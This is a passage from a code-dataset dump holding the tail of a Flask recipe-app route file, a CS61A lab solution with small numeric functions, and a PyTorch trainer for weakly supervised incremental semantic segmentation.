\"name\" : request.form['name'],\n \"description\" : request.form['description'],\n \"instructions\" : request.form['instructions'],\n \"user_id\" : request.form['user_id']\n }\n recipe_methods.Recipe.edit_recipe(data)\n print(\"request.form\", request.form)\n return redirect (\"/recipes\")\n\n@app.route(\"/recipes/delete/\")\ndef delete_recipe(id):\n if 'user_id' not in session:\n return redirect(\"/\")\n recipe_methods.Recipe.delete_recipe({\"id\": id})\n print(\"recipe deleted\")\n return redirect (\"/recipes\")\n","repo_name":"sarahsotomayor/Python-Full-Stack-Bootcamp","sub_path":"FLASK_MYSQL/RECIPES/flask_app/controllers/recipe_routes.py","file_name":"recipe_routes.py","file_ext":"py","file_size_in_byte":2698,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"53"} +{"seq_id":"29860593760","text":"def falling(n, k):\n \"\"\"Compute the falling factorial of n to depth k.\n\n >>> falling(6, 3) # 6 * 5 * 4\n 120\n >>> falling(4, 3) # 4 * 3 * 2\n 24\n >>> falling(4, 1) # 4\n 4\n >>> falling(4, 0)\n 1\n \"\"\"\n \"*** YOUR CODE HERE ***\"\n result = 1\n while k > 0:\n result = result*n\n n -= 1\n k -= 1\n return result\n\ndef sum_digits(y):\n \"\"\"Sum all the digits of y.\n\n >>> sum_digits(10) # 1 + 0 = 1\n 1\n >>> sum_digits(4224) # 4 + 2 + 2 + 4 = 12\n 12\n >>> sum_digits(1234567890)\n 45\n >>> a = sum_digits(123) # make sure that you are using return rather than print\n >>> a\n 6\n \"\"\"\n \"*** YOUR CODE HERE ***\"\n i = total_digits_number(y)\n sum = 0\n while i > 0:\n sum = sum + (y%10)\n y = y//10\n i -= 1\n return sum\n\ndef total_digits_number(y):\n k = 0\n while y > 0:\n k += 1\n y = y//10\n return k\n\n\ndef double_eights(n):\n \"\"\"Return true if n has two eights in a row.\n >>> double_eights(8)\n False\n >>> double_eights(88)\n True\n >>> double_eights(2882)\n True\n >>> double_eights(880088)\n True\n >>> double_eights(12345)\n False\n >>> double_eights(80808080)\n False\n \"\"\"\n \"*** YOUR CODE HERE ***\"\n \"\"\"k = total_digits_number(n)\"\"\"\n while n > 0:\n if n%10 == 8:\n n = n//10\n if n%10 == 8:\n return True\n else:\n n = n//10\n return False\n\n\n","repo_name":"thatbabyblue/UCB-cs61a-2021-Fall","sub_path":"lab/lab01/lab01.py","file_name":"lab01.py","file_ext":"py","file_size_in_byte":1466,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"29331126483","text":"import torch\nimport numpy as np\nfrom torch import distributed\nimport torch.nn as nn\nimport torch.nn.functional as F\nfrom functools import reduce\nimport tqdm\nfrom utils.loss import KnowledgeDistillationLoss, BCEWithLogitsLossWithIgnoreIndex, \\\n UnbiasedKnowledgeDistillationLoss, UnbiasedCrossEntropy, IcarlLoss\nfrom torch.cuda import amp\nfrom segmentation_module import make_model, TestAugmentation\nimport tasks\nfrom torch.nn.parallel import DistributedDataParallel\nimport os.path as osp\nfrom wss.modules import PAMR, ASPP\nfrom utils.utils import denorm, label_to_one_hot\nfrom wss.single_stage import pseudo_gtmask, balanced_mask_loss_ce, balanced_mask_loss_unce\nfrom utils.wss_loss import bce_loss, ngwp_focal, binarize, sem_bce_loss\nfrom segmentation_module import get_norm\nfrom utils.scheduler import get_scheduler\nimport pdb\nfrom torchvision.utils import make_grid, save_image\nimport os\nfrom utils.utils import denorm, visualize_predictions\n\nclass Trainer:\n def __init__(self, logger, device, opts, task=None):\n self.logger = logger\n self.device = device\n self.opts = opts\n self.scaler = amp.GradScaler()\n\n self.sample_num = opts.sample_num\n self.pl_threshold = opts.pl_threshold\n self.ws_bkg = opts.ws_bkg\n self.viz_dataset = opts.dataset\n self.external_dataset = opts.external_dataset\n self.semantic_similarity = opts.semantic_similarity\n self.lambda_sem = opts.lambda_sem\n\n if task is not None:\n # in case of FSS\n self.classes = classes = task.get_n_classes()\n self.order = task.get_order()\n else:\n self.classes = classes = tasks.get_per_task_classes(opts.dataset, opts.task, opts.step)\n self.order = tasks.get_order(opts.dataset, opts.task, opts.step)\n\n if classes is not None:\n new_classes = classes[-1]\n self.tot_classes = reduce(lambda a, b: a + b, classes)\n self.old_classes = self.tot_classes - new_classes\n else:\n self.old_classes = 0\n\n self.model = make_model(opts, classes=classes)\n\n if opts.step == 0: # if step 0, we don't need to instance the model_old\n self.model_old = None\n else: # instance model_old\n if task is not None:\n # in case of FSS\n prev_classes = task.get_n_classes()[:-1]\n else:\n prev_classes = tasks.get_per_task_classes(opts.dataset, opts.task, opts.step - 1)\n\n self.model_old = make_model(opts, classes=prev_classes)\n self.model_old.to(self.device)\n # freeze old model and set eval mode\n for par in self.model_old.parameters():\n par.requires_grad = False\n self.model_old.eval()\n\n self.weakly = opts.weakly and opts.step > 0\n self.pos_w = opts.pos_w\n self.use_aff = opts.affinity\n self.weak_single_stage_dist = opts.ss_dist\n self.pseudo_epoch = opts.pseudo_ep\n cls_classes = self.tot_classes\n self.pseudolabeler = None\n\n if self.weakly:\n # PAMR module is not trainable (no backprop occurs)\n self.affinity = PAMR(num_iter=10, dilations=[1, 2, 4, 8, 12]).to(device)\n for p in self.affinity.parameters():\n p.requires_grad = False\n\n # initialize the localizer (or auxiliary classifier). This branch learns the seg masks from image labels\n norm = get_norm(opts)\n channels = 4096 if \"wide\" in opts.backbone else 2048\n self.pseudolabeler = nn.Sequential(nn.Conv2d(channels, 256, kernel_size=3, stride=1, padding=1, bias=False),\n norm(256),\n nn.Conv2d(256, 256, kernel_size=3, stride=1, padding=1, bias=False),\n norm(256),\n nn.Conv2d(256, cls_classes, kernel_size=1, stride=1))\n\n self.icarl = opts.icarl\n\n self.optimizer, self.scheduler = self.get_optimizer(opts)\n\n # send models to DDP\n self.distribute(opts)\n\n # Select the Loss Type\n reduction = 'none'\n\n self.bce = opts.bce or opts.icarl\n if self.bce:\n self.criterion = BCEWithLogitsLossWithIgnoreIndex(reduction=reduction)\n elif opts.unce and self.old_classes != 0:\n self.criterion = UnbiasedCrossEntropy(old_cl=self.old_classes, ignore_index=255, reduction=reduction)\n else:\n self.criterion = nn.CrossEntropyLoss(ignore_index=255, reduction=reduction)\n\n # ILTSS\n self.lde = opts.loss_de # Distillation on Encoder features\n self.lde_flag = self.lde > 0. and self.model_old is not None\n self.lde_loss = nn.MSELoss()\n\n self.lkd = opts.loss_kd\n self.lkd_flag = self.lkd > 0. and self.model_old is not None\n if opts.unkd:\n self.lkd_loss = UnbiasedKnowledgeDistillationLoss(alpha=opts.alpha)\n else:\n self.lkd_loss = KnowledgeDistillationLoss(alpha=opts.alpha)\n\n # ICARL\n self.icarl_combined = False\n self.icarl_only_dist = False\n if opts.icarl:\n self.icarl_combined = not opts.icarl_disjoint and self.model_old is not None\n self.icarl_only_dist = opts.icarl_disjoint and self.model_old is not None\n if self.icarl_combined:\n self.licarl = nn.BCEWithLogitsLoss(reduction='mean')\n self.icarl = opts.icarl_importance\n elif self.icarl_only_dist:\n self.licarl = IcarlLoss(reduction='mean', bkg=opts.icarl_bkg)\n self.icarl_dist_flag = self.icarl_only_dist or self.icarl_combined\n\n def get_optimizer(self, opts):\n params = []\n if not opts.freeze:\n params.append({\"params\": filter(lambda p: p.requires_grad, self.model.body.parameters()),\n 'weight_decay': opts.weight_decay})\n\n params.append({\"params\": filter(lambda p: p.requires_grad, self.model.head.parameters()),\n 'weight_decay': opts.weight_decay, 'lr': opts.lr*opts.lr_head})\n params.append({\"params\": filter(lambda p: p.requires_grad, self.model.cls.parameters()),\n 'weight_decay': opts.weight_decay, 'lr': opts.lr*opts.lr_head})\n if self.weakly:\n params.append({\"params\": filter(lambda p: p.requires_grad, self.pseudolabeler.parameters()),\n 'weight_decay': opts.weight_decay, 'lr': opts.lr_pseudo})\n\n optimizer = torch.optim.SGD(params, lr=opts.lr, momentum=0.9, nesterov=True)\n scheduler = get_scheduler(opts, optimizer)\n\n return optimizer, scheduler\n\n def distribute(self, opts):\n self.model = DistributedDataParallel(self.model.to(self.device), device_ids=[opts.device_id],\n output_device=opts.device_id, find_unused_parameters=False)\n if self.weakly:\n self.pseudolabeler = DistributedDataParallel(self.pseudolabeler.to(self.device), device_ids=[opts.device_id],\n output_device=opts.device_id, find_unused_parameters=False)\n\n def train(self, cur_epoch, train_loader, external_loader=None, print_int=10, affinity_matrix=None, metrics=None):\n \"\"\"Train and return epoch loss\"\"\"\n if metrics is not None:\n metrics.reset()\n optim = self.optimizer\n scheduler = self.scheduler\n device = self.device\n model = self.model\n criterion = self.criterion\n logger = self.logger\n\n logger.info(\"Epoch %d, lr = %f\" % (cur_epoch, optim.param_groups[0]['lr']))\n rank_zero = distributed.get_rank() == 0 # a boolean variable, true if the rank of the process is 0\n\n epoch_loss = 0.0\n reg_loss = 0.0\n l_cam_out = 0.0\n l_cam_int = 0.0\n l_cam_new = 0.0\n l_sem_sim = 0.0\n l_seg = 0.0\n l_cls = 0.0\n l_loc = 0.0\n l_ext_loc = 0.0\n l_seg_ext = 0.0\n interval_loss = 0.0\n\n lkd = torch.tensor(0.)\n lde = torch.tensor(0.)\n lde_ext = torch.tensor(0.)\n l_icarl = torch.tensor(0.)\n l_reg = torch.tensor(0.)\n\n train_loader.sampler.set_epoch(cur_epoch)\n\n if distributed.get_rank() == 0:\n tq = tqdm.tqdm(total=len(train_loader))\n tq.set_description(\"Epoch %d, lr = %f\" % (cur_epoch, optim.param_groups[0]['lr']))\n else:\n tq = None\n \n if self.external_dataset:\n ext_iter = iter(external_loader)\n\n model.train()\n for cur_step, (images, labels, l1h) in enumerate(train_loader):\n\n # load external data set images\n if self.weakly and self.external_dataset:\n try:\n ext_data = ext_iter.next()\n ext_images, ext_l1h = ext_data[0], ext_data[1]\n except:\n ext_iter = iter(external_loader)\n ext_data = ext_iter.next()\n ext_images, ext_l1h = ext_data[0], ext_data[1]\n\n ext_images = ext_images.to(device, dtype=torch.float)\n ext_l1h = ext_l1h.to(device, dtype=torch.float)\n\n images = images.to(device, dtype=torch.float) # B x 3 x H x W\n # index 0 in l1h represents the first object/thing class\n l1h = l1h.to(device, dtype=torch.float) # these are one_hot, i.e., B x nb_classes\n labels = labels.to(device, dtype=torch.long) # B x H x W\n\n if self.weakly and self.external_dataset:\n images = torch.cat([images, ext_images], dim=0)\n l1h = torch.cat([l1h, ext_l1h], dim=0)\n\n # an indicator which is 1 for images belonging to new classes\n # and 0 for images belonging to old classes\n new_classes_mask = (l1h.sum(-1) > 0).float()\n\n with amp.autocast():\n if (self.lde_flag or self.lkd_flag or self.icarl_dist_flag or self.weakly) and self.model_old is not None:\n with torch.no_grad():\n # outputs_old has shape bs x (nb_old_classes + bg) x h x w\n outputs_old, features_old = self.model_old(images, interpolate=False)\n\n optim.zero_grad()\n outputs, features = model(images, interpolate=False) #outputs shape: bs x nb_classes x h x w\n\n # xxx BCE / Cross Entropy Loss\n if not self.weakly:\n outputs = F.interpolate(outputs, size=images.shape[-2:], mode=\"bilinear\", align_corners=False) # shape B x nb_classes x H x W. upsampled.\n if not self.icarl_only_dist:\n loss = criterion(outputs, labels) # B x H x W\n else:\n # ICaRL loss -- unique CE+KD\n outputs_old = F.interpolate(outputs_old, size=images.shape[-2:], mode=\"bilinear\",\n align_corners=False)\n loss = self.licarl(outputs, labels, torch.sigmoid(outputs_old))\n\n loss = loss.mean() # scalar\n\n # xxx ICARL DISTILLATION\n if self.icarl_combined:\n # tensor.narrow( dim, start, end) -> slice tensor from start to end in the specified dim\n n_cl_old = outputs_old.shape[1]\n outputs_old = F.interpolate(outputs_old, size=images.shape[-2:], mode=\"bilinear\",\n align_corners=False)\n # use n_cl_old to sum the contribution of each class, and not to average them (as done in our BCE).\n l_icarl = self.icarl * n_cl_old * self.licarl(outputs.narrow(1, 0, n_cl_old),\n torch.sigmoid(outputs_old))\n\n # xxx ILTSS (distillation on features or logits)\n if self.lde_flag:\n lde = self.lde * self.lde_loss(features['body'], features_old['body'])\n\n if self.lkd_flag:\n outputs_old = F.interpolate(outputs_old, size=images.shape[-2:], mode=\"bilinear\",\n align_corners=False)\n # resize new output to remove new logits and keep only the old ones\n lkd = self.lkd * self.lkd_loss(outputs, outputs_old)\n\n else:\n bs = images.shape[0]\n\n self.pseudolabeler.eval()\n int_masks = self.pseudolabeler(features['body']).detach() # shape B x (nb_classes + bg) x 32 x 32, 1-bkg, 15-old, 5-new\n\n self.pseudolabeler.train()\n int_masks_raw = self.pseudolabeler(features['body']) # shape: bs x (nb_classes + bg) x 32 x 32\n\n # CAM Loss\n if self.opts.no_mask:\n l_cam_new = bce_loss(\n int_masks_raw, \n outputs_old.detach(), \n nb_new_classes=self.tot_classes - self.old_classes,\n labels=l1h,\n mode=self.opts.cam, \n reduction='mean'\n )\n else:\n l_cam_new = bce_loss(\n int_masks_raw, \n outputs_old.detach(), \n self.tot_classes - self.old_classes,\n l1h[:, self.old_classes - 1:],\n mode=self.opts.cam, \n reduction='none',\n affinity_matrix=affinity_matrix\n ).sum(-1)\n l_cam_new = (l_cam_new * new_classes_mask).sum() / (new_classes_mask.sum() + 1e-5)\n\n # Semantic Similarity Loss\n if self.semantic_similarity:\n l_sem_sim, similarity_weights = sem_bce_loss(\n int_masks_raw, \n labels=l1h, \n outputs_old=outputs_old,\n nb_new_classes=self.tot_classes - self.old_classes,\n affinity_matrix=affinity_matrix,\n order=self.order\n )\n\n # Prior Loss\n l_loc = F.binary_cross_entropy_with_logits(\n int_masks_raw[:, :self.old_classes],\n torch.sigmoid(outputs_old.detach()),\n reduction='mean'\n )\n \n l_sem_sim = self.lambda_sem * l_sem_sim\n l_cam_int = l_cam_new + l_loc + l_sem_sim\n \n # Distillation Loss on the Encoder features.\n if self.lde_flag:\n lde = self.lde * self.lde_loss(features['body'], features_old['body'])\n\n l_cam_out = 0 * outputs[0, 0].mean() # avoid errors due to DDP\n\n if cur_epoch >= self.pseudo_epoch:\n \n # predictions from the pseudo-labeller (or the localizer or auxiliary classifier)\n int_masks_orig = int_masks.softmax(dim=1)\n int_masks_soft = int_masks.softmax(dim=1)\n\n # use affinity on CAM. this is the PAMR module in Stefan Roth's paper\n # Single-Stage Semantic Segmentation from Image Labels, CVPR 2020\n if self.use_aff:\n image_raw = denorm(images)\n # downsample the images to the mask resolution\n im = F.interpolate(image_raw, int_masks.shape[-2:], mode=\"bilinear\",\n align_corners=True)\n int_masks_soft = self.affinity(im, int_masks_soft.detach())\n\n int_masks_orig[:, 1:] *= l1h[:, :, None, None] # l1h no bg\n int_masks_soft[:, 1:] *= l1h[:, :, None, None]\n\n # Convert continuous mask into binary mask\n pseudo_gt_seg = pseudo_gtmask(int_masks_soft, ambiguous=True, cutoff_top=0.6,\n cutoff_bkg=0.7, cutoff_low=0.2).detach() # B x C x H x W\n\n # smoothed pseudo-label for each pixel\n pseudo_gt_seg_lx = binarize(int_masks_orig) # Hard pseudo-label, shape bs x (nb_classes + bkg) x h x w\n pseudo_gt_seg_lx = (self.opts.alpha * pseudo_gt_seg_lx) + \\\n ((1-self.opts.alpha) * int_masks_orig)\n\n # ignore_mask = (pseudo_gt_seg.sum(1) > 0)\n px_cls_per_image = pseudo_gt_seg_lx.view(bs, self.tot_classes, -1).sum(dim=-1)\n batch_weight = torch.eq((px_cls_per_image[:, self.old_classes:] > 0),\n l1h[:, self.old_classes - 1:].bool()) # shape: bs x nb_new_classes\n\n batch_weight = (\n batch_weight.sum(dim=1) == (self.tot_classes - self.old_classes)).float()\n\n # predictions from the old model for the current task images\n target_old = torch.sigmoid(outputs_old.detach())\n\n # combine the PL from the old and current tasks\n target = torch.cat((target_old, pseudo_gt_seg_lx[:, self.old_classes:]), dim=1)\n if self.opts.icarl_bkg == -1:\n # torch.min is the original code\n target[:, 0] = torch.min(target[:, 0], pseudo_gt_seg_lx[:, 0])\n else:\n target[:, 0] = (1-self.opts.icarl_bkg) * target[:, 0] + \\\n self.opts.icarl_bkg * pseudo_gt_seg_lx[:, 0]\n\n # To train the main segmentation head across all the classes at current step\n l_seg = F.binary_cross_entropy_with_logits(outputs, target, reduction='none').sum(dim=1)\n l_seg = l_seg.view(bs, -1).mean(dim=-1)\n l_seg = self.opts.l_seg * (batch_weight * l_seg).sum() / (batch_weight.sum() + 1e-5)\n \n # Self-training Loss for the localizer\n l_cls = balanced_mask_loss_ce(int_masks_raw, pseudo_gt_seg, l1h, new_classes_mask=new_classes_mask)\n\n loss = l_seg + l_cam_out\n l_reg = l_cls + l_cam_int\n\n # xxx first backprop of previous loss (compute the gradients for regularization methods)\n # total loss = seg-loss + lkd-loss + encoder-distillation-loss + icarl-loss + cam-loss and pl-seg-loss on localizer\n loss_tot = loss + lkd + lde + l_icarl + l_reg\n\n # for metrics\n outputs = F.interpolate(outputs, size=images.shape[-2:], mode=\"bilinear\", align_corners=False) # shape B x nb_classes x H x W. upsampled.\n _, prediction = outputs.max(dim=1) # B, H, W\n prediction = prediction.cpu().numpy()\n labels = labels.cpu().numpy()\n if metrics is not None:\n metrics.update(labels, prediction)\n\n self.scaler.scale(loss_tot).backward()\n self.scaler.step(optim)\n if scheduler is not None:\n scheduler.step()\n self.scaler.update()\n\n epoch_loss += loss.item()\n reg_loss += l_reg.item() if l_reg != 0. else 0.\n reg_loss += lkd.item() + lde.item() + l_icarl.item()\n interval_loss += loss.item() + lkd.item() + lde.item() + l_icarl.item()\n interval_loss += l_reg.item() if l_reg != 0. else 0.\n\n if tq is not None:\n tq.update(1)\n posftfix_dict = {'Total Loss': f\"{loss_tot: .4f}\", 'Sem Loss': f\"{l_sem_sim:.4f}\"}\n tq.set_postfix(posftfix_dict)\n\n if (cur_step + 1) % print_int == 0:\n interval_loss = interval_loss / print_int\n logger.debug(f\"Epoch {cur_epoch}, Batch {cur_step + 1}/{len(train_loader)},\"\n f\" Loss={interval_loss}\")\n logger.debug(f\"Loss made of: CE {loss}, LKD {lkd}, LDE {lde}, LReg {l_reg}\")\n # visualization\n if logger is not None:\n x = cur_epoch * len(train_loader) + cur_step + 1\n logger.add_scalar('Loss/tot', interval_loss, x, intermediate=True)\n logger.add_scalar('Loss/CAM_int', l_cam_int, x, intermediate=True)\n logger.add_scalar('Loss/Loc_loss', l_loc, x, intermediate=True)\n logger.add_scalar('Loss/CAM_loss', l_cam_new, x, intermediate=True)\n logger.add_scalar('Loss/SEG_int', l_cls, x, intermediate=True)\n logger.add_scalar('Loss/SEG_out', l_seg, x, intermediate=True)\n logger.commit(intermediate=True)\n interval_loss = 0.0\n\n if tq is not None:\n tq.close()\n\n # collect statistics from multiple processes\n epoch_loss = torch.tensor(epoch_loss).to(self.device)\n reg_loss = torch.tensor(reg_loss).to(self.device)\n\n torch.distributed.reduce(epoch_loss, dst=0)\n torch.distributed.reduce(reg_loss, dst=0)\n\n if distributed.get_rank() == 0:\n epoch_loss = epoch_loss / distributed.get_world_size() / len(train_loader)\n reg_loss = reg_loss / distributed.get_world_size() / len(train_loader)\n\n logger.info(f\"Epoch {cur_epoch}, Class Loss={epoch_loss}, Reg Loss={reg_loss}\")\n\n # collect statistics from multiple processes\n if metrics is not None:\n metrics.synch(self.device)\n\n return (epoch_loss, reg_loss)\n \n def observe_pl_argmax(self, loc_logits, l1h, out_size):\n # return a full sized prediction map\n\n loc_logits = F.interpolate(loc_logits, size=out_size, mode=\"bilinear\", align_corners=False)\n loc_logits = F.softmax(loc_logits, dim=1)\n loc_logits[:, 1:] *= l1h[:, :, None, None]\n pseudo_gt_seg_lx = binarize(loc_logits)\n pseudo_gt_seg_lx = (self.opts.alpha * pseudo_gt_seg_lx) + \\\n ((1-self.opts.alpha) * loc_logits)\n return pseudo_gt_seg_lx\n\n def eval_external(self, loader):\n \"\"\"\n Evaluate the model predictions on external data set\n \"\"\"\n device = self.device\n model = self.model\n localizer = self.pseudolabeler\n model_old = self.model_old\n model.eval()\n localizer.eval()\n model_old.eval()\n\n ret_samples = []\n\n with torch.no_grad():\n for i, (x, _) in enumerate(loader):\n images = x.to(device, dtype=torch.float32)\n\n with amp.autocast():\n # prediction from the online model\n outputs, features = model(images)\n # prediction from the localizer\n localizer_logits = localizer(features['body'])\n # prediction from the old model\n outputs_old, _ = model_old(images)\n \n _, prediction = F.softmax(outputs, dim=1).max(dim=1)\n _, prediction_old = F.softmax(outputs_old, dim=1).max(dim=1)\n localizer_logits = F.interpolate(localizer_logits, size=prediction.shape[-2:], mode=\"bilinear\", align_corners=False)\n _, localizer_preds = F.softmax(localizer_logits, dim=1).max(dim=1)\n\n if len(ret_samples) <= 2*self.sample_num:\n for j, image in enumerate(images):\n ret_samples.append((\n images[j].cpu(),\n prediction[j].cpu(),\n localizer_preds[j].cpu(),\n prediction_old[j].cpu()\n ))\n else:\n return ret_samples\n return ret_samples\n \n def get_similarity_maps(self, prediction, affinity_matrix=None):\n affinity_matrix = affinity_matrix[self.order, :]\n affinity_matrix = affinity_matrix[:, self.order]\n\n h, w = prediction.shape\n #similarity_mask = torch.zeros((self.tot_classes - self.old_classes, h, w))\n prediction_1h = F.one_hot(prediction, num_classes=self.old_classes).permute(2, 0, 1).float() # nb_old x h x w\n aff_matrix = affinity_matrix[np.arange(self.old_classes, self.tot_classes), :]\n aff_matrix = aff_matrix[:, np.arange(self.old_classes)] # nb_new x nb_old\n similarity_mask = torch.bmm(torch.from_numpy(aff_matrix).unsqueeze(0).float(), prediction_1h.view(-1, h*w).unsqueeze(0)).reshape(-1, h, w)\n return similarity_mask\n \n def validate_and_visualize(self, loader, metrics, affinity_matrix=None, class_dict=None, save_folder=None, visualize=True):\n # Validate and generate visualizations for every sample\n # only used if the code is run in inference mode\n metrics.reset()\n device = self.device\n \n self.model.eval()\n self.model_old.eval()\n self.pseudolabeler.eval()\n\n if distributed.get_rank() == 0:\n tq = tqdm.tqdm(total=len(loader))\n tq.set_description(\"Running inference\")\n else:\n tq = None\n\n with torch.no_grad():\n for i, x in enumerate(loader):\n images = x[0].to(device, dtype=torch.float32)\n labels = x[1].to(device, dtype=torch.long)\n\n with amp.autocast():\n # prediction from the online/current model\n outputs, features = self.model(images)\n # prediction from the old model\n outputs_old, _ = self.model_old(images)\n # prediction from the localizer\n localizer_logits = self.pseudolabeler(features['body'])\n\n probabilities, prediction = F.softmax(outputs, dim=1).max(dim=1)\n probabilities_old, prediction_old = F.softmax(outputs_old, dim=1).max(dim=1)\n localizer_masks = F.interpolate(\n localizer_logits, \n size=prediction.shape[-2:], \n mode=\"bilinear\", \n align_corners=False\n )\n localizer_probs, localizer_preds = F.softmax(localizer_masks, dim=1).max(dim=1)\n\n output = {}\n output['image'] = images.cpu()\n output['label'] = labels.cpu()\n output['loc_pred'] = localizer_preds.cpu()\n output['main_pred'] = prediction.cpu()\n output['old_pred'] = prediction_old.cpu()\n output['similarity_map'] = self.get_similarity_maps(prediction_old.squeeze(0).cpu(), affinity_matrix) \\\n if affinity_matrix is not None else None\n \n if visualize and distributed.get_rank() == 0:\n visualize_predictions(\n dataset=self.viz_dataset, \n output=output, \n mapping_dict=class_dict, \n base_path=save_folder,\n idx=i\n )\n \n labels = labels.cpu().numpy()\n prediction = prediction.cpu().numpy()\n metrics.update(labels, prediction)\n\n if tq is not None:\n tq.update(1)\n \n # collect statistics from multiple processes\n metrics.synch(device)\n score = metrics.get_results()\n\n if tq is not None:\n tq.close()\n\n return score, None\n\n def validate(self, loader, metrics, evaluate_old_model=False, affinity_matrix=None, class_dict=None):\n \"\"\"Do validation and return specified samples\"\"\"\n metrics.reset()\n model = self.model_old if evaluate_old_model else self.model\n if self.opts.step > 0:\n model_old = self.model_old\n device = self.device\n ret_samples = []\n\n\n model.eval()\n \n if self.opts.step > 0:\n self.pseudolabeler.eval()\n model_old.eval()\n\n with torch.no_grad():\n for i, x in enumerate(loader):\n images = x[0].to(device, dtype=torch.float32)\n labels = x[1].to(device, dtype=torch.long)\n l1hs = x[2]\n\n # if self.weakly:\n # l1h = x[2]\n\n with amp.autocast():\n # prediction from the online model\n outputs, features = model(images)\n if self.opts.step > 0:\n # prediction from the old model\n outputs_old, _ = model_old(images)\n # prediction from the localizer\n localizer_logits = self.pseudolabeler(features['body'])\n \n probabilities, prediction = F.softmax(outputs, dim=1).max(dim=1)\n \n if self.opts.step > 0:\n probabilities_old, prediction_old = F.softmax(outputs_old, dim=1).max(dim=1)\n fg_mask = 1 - (prediction_old > 0).float()\n \n pseudo_gt_seg_lx = self.observe_pl_argmax(localizer_logits, l1hs.to(device, dtype=torch.long), out_size=prediction.shape[-2:])\n # full res output\n target_old = torch.sigmoid(outputs_old)\n target_all = torch.cat((target_old, pseudo_gt_seg_lx[:, self.old_classes:]), dim=1)\n target_all[:, 0] = torch.min(target_all[:, 0], pseudo_gt_seg_lx[:, 0]) # original is torch.min\n target_all = target_all.max(dim=1)[1]\n\n localizer_masks = F.interpolate(localizer_logits, size=prediction.shape[-2:], mode=\"bilinear\", align_corners=False)\n localizer_probs, localizer_preds = F.softmax(localizer_masks, dim=1).max(dim=1)\n\n new_cls_l1h = nn.functional.one_hot(torch.from_numpy(np.arange(self.old_classes, self.tot_classes)), num_classes=self.tot_classes).sum(dim=0).float()\n if len(ret_samples) <= self.sample_num:\n for j, l1h in enumerate(l1hs):\n # check if the image contains one of the new classes\n label_present = (new_cls_l1h[1:] * l1h).sum() > 0\n if label_present:\n ## similarity mask is used to visualize the similarity masks\n ## comment out temporarily\n #similarity_mask = self.get_similarity_maps(prediction_old[j].cpu(), affinity_matrix)\n ret_samples.append(\n (\n images[j].cpu(), \n labels[j].cpu(), \n prediction[j].cpu(), \n localizer_preds[j].cpu(), \n prediction_old[j].cpu(),\n target_all[j].cpu(),\n probabilities_old[j].cpu(),\n localizer_probs[j].cpu(),\n fg_mask[j].cpu(),\n #similarity_mask.cpu()\n )\n )\n\n labels = labels.cpu().numpy()\n prediction = prediction.cpu().numpy()\n metrics.update(labels, prediction)\n\n # collect statistics from multiple processes\n metrics.synch(device)\n score = metrics.get_results()\n\n return score, ret_samples\n\n def validate_CAM(self, loader, metrics):\n \"\"\"Do validation and return specified samples\"\"\"\n metrics.reset()\n model = self.model\n device = self.device\n\n self.pseudolabeler.eval()\n model.eval()\n\n def classify(images):\n masks = self.pseudolabeler(model(images, as_feature_extractor=True)['body'])\n masks = F.interpolate(masks, size=images.shape[-2:], mode=\"bilinear\", align_corners=False)\n masks = masks.softmax(dim=1)\n return masks\n\n i = -1\n with torch.no_grad():\n for x in tqdm.tqdm(loader):\n i = i+1\n images = x[0].to(device, dtype=torch.float32)\n labels = x[1].to(device, dtype=torch.long)\n l1h = x[2].to(device, dtype=torch.bool)\n\n with amp.autocast():\n masks = classify(images)\n\n _, prediction = masks.max(dim=1)\n\n labels[labels < self.old_classes] = 0\n labels = labels.cpu().numpy()\n prediction = prediction.cpu().numpy()\n metrics.update(labels, prediction)\n\n # collect statistics from multiple processes\n metrics.synch(device)\n score = metrics.get_results()\n\n return score\n \n def load_ckpt_inference(self, prev_path, curr_path):\n # a helper function to load the current and previous checkpoints.\n # mainly needed for custom visualizations\n if osp.exists(prev_path) and osp.exists(curr_path):\n curr_step_checkpoint = torch.load(curr_path, map_location='cpu')\n self.model.load_state_dict(curr_step_checkpoint['model_state'], strict=True)\n self.pseudolabeler.load_state_dict(curr_step_checkpoint['pseudolabeler'], strict=True)\n\n # Load state dict from the model state dict, that contains the old model parameters\n step_checkpoint = torch.load(prev_path, map_location=\"cpu\")\n new_state = {}\n for k, v in step_checkpoint['model_state'].items():\n new_state[k[7:]] = v\n self.model_old.load_state_dict(new_state, strict=True) # Load also here old parameters\n\n self.logger.info(f\"[!] Current model loaded from {curr_path}\")\n self.logger.info(f\"[!] Previous model loaded from {prev_path}\")\n\n # clean memory\n del step_checkpoint['model_state']\n del curr_step_checkpoint['model_state']\n else:\n raise FileNotFoundError(f'Either {prev_path} or {curr_path} does not exist!')\n\n def load_step_ckpt(self, path):\n # generate model from path\n if osp.exists(path):\n step_checkpoint = torch.load(path, map_location=\"cpu\")\n self.model.load_state_dict(step_checkpoint['model_state'], strict=False) # False for incr. classifiers\n if self.opts.init_balanced:\n # implement the balanced initialization (new cls has weight of background and bias = bias_bkg - log(N+1)\n self.model.module.init_new_classifier(self.device)\n # Load state dict from the model state dict, that contains the old model parameters\n new_state = {}\n for k, v in step_checkpoint['model_state'].items():\n new_state[k[7:]] = v\n self.model_old.load_state_dict(new_state, strict=True) # Load also here old parameters\n\n self.logger.info(f\"[!] Previous model loaded from {path}\")\n # clean memory\n del step_checkpoint['model_state']\n elif self.opts.debug:\n self.logger.info(f\"[!] WARNING: Unable to find of step {self.opts.step - 1}! \"\n f\"Do you really want to do from scratch?\")\n else:\n raise FileNotFoundError(path)\n\n def load_ckpt(self, path):\n opts = self.opts\n assert osp.isfile(path), f\"Error, ckpt not found in {path}\"\n\n checkpoint = torch.load(opts.ckpt, map_location=\"cpu\")\n self.model.load_state_dict(checkpoint[\"model_state\"], strict=True)\n self.optimizer.load_state_dict(checkpoint[\"optimizer_state\"])\n self.scheduler.load_state_dict(checkpoint[\"scheduler_state\"])\n if \"scaler\" in checkpoint:\n self.scaler.load_state_dict(checkpoint[\"scaler\"])\n if self.weakly:\n self.pseudolabeler.load_state_dict(checkpoint[\"pseudolabeler\"])\n\n cur_epoch = checkpoint[\"epoch\"] + 1\n best_score = checkpoint['best_score']\n self.logger.info(\"[!] Model restored from %s\" % opts.ckpt)\n # if we want to resume training, resume trainer from checkpoint\n del checkpoint\n\n return cur_epoch, best_score\n","repo_name":"naver/rasp","sub_path":"train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":37345,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"39077763088","text":"# python3\n\n\ndef 